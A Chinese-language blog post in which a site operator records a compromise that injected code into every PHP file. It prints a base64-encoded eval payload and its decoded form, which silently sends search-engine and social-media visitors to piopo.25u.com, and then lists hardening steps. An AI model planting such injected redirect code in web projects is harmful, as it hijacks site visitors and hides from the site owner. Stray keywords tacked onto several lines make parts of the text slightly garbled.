昨天公司網站全部php代碼文件被植入一段代碼,代碼的含義是將從bing和google過來的ip跳轉到指定的網址,由於其中沒有百度,估計是國外黑客所爲。黑客,這個詞聽起來就讓人很激動,但仍是不要發生到本身身上的好,也是由於公司平臺剛剛起步,還沒多少用戶,還好沒有形成特別嚴重的後果,下面貼下植入的代碼,以方便之後遭遇不幸的朋友參考。php
base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgewppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGlvcG8uMjV1LmNvbS8iKTsKZXhpdCgpOwp9Cn0KfQp9Cn0=");
黑客使用eval方法執行base64_decode方法返回的代碼串,將返回結果打印出來,是長這個樣子的web
error_reporting ( 0 ); $qazplm = headers_sent (); if (! $qazplm) { $referer = $_SERVER ['HTTP_REFERER']; $uag = $_SERVER ['HTTP_USER_AGENT']; if ($uag) { if (! stristr ( $uag, "MSIE 7.0" )) { if (stristr ( $referer, "yahoo" ) or stristr ( $referer, "bing" ) or stristr ( $referer, "rambler" ) or stristr ( $referer, "gogo" ) or stristr ( $referer, "live.com" ) or stristr ( $referer, "aport" ) or stristr ( $referer, "nigma" ) or stristr ( $referer, "webalta" ) or stristr ( $referer, "begun.ru" ) or stristr ( $referer, "stumbleupon.com" ) or stristr ( $referer, "bit.ly" ) or stristr ( $referer, "tinyurl.com" ) or preg_match ( "/yandex\.ru\/yandsearch\?(.*?)\&lr\=/", $referer ) or preg_match ( "/google\.(.*?)\/url\?sa/", $referer ) or stristr ( $referer, "myspace.com" ) or stristr ( $referer, "facebook.com" ) or stristr ( $referer, "aol.com" )) { if (! stristr ( $referer, "cache" ) or ! stristr ( $referer, "inurl" )) { header ( "Location: http://piopo.25u.com/" ); exit (); } } } } }
我不知道是哪裏出的問題,致使黑客有權限將其代碼寫入我全部的php文件,過後我使用360網站安全工具檢測發現了一系列的問題數據庫
過後增強網站安全的一系列措施在此作個記錄:apache
1.關閉php腳本錯誤提示安全
2.防止跨站腳本攻擊漏洞,過濾用戶輸入的元數據服務器
3.禁用網站目錄列表功能工具
4.將網站代碼文件夾及文件設置爲只讀網站
5.禁用apache服務器TRACE Method防止跨站腳本攻擊google
6.將前臺全部可見php連接重寫爲僞靜態連接,提高網站安全性和seo友好度url
7.作好數據庫定時備份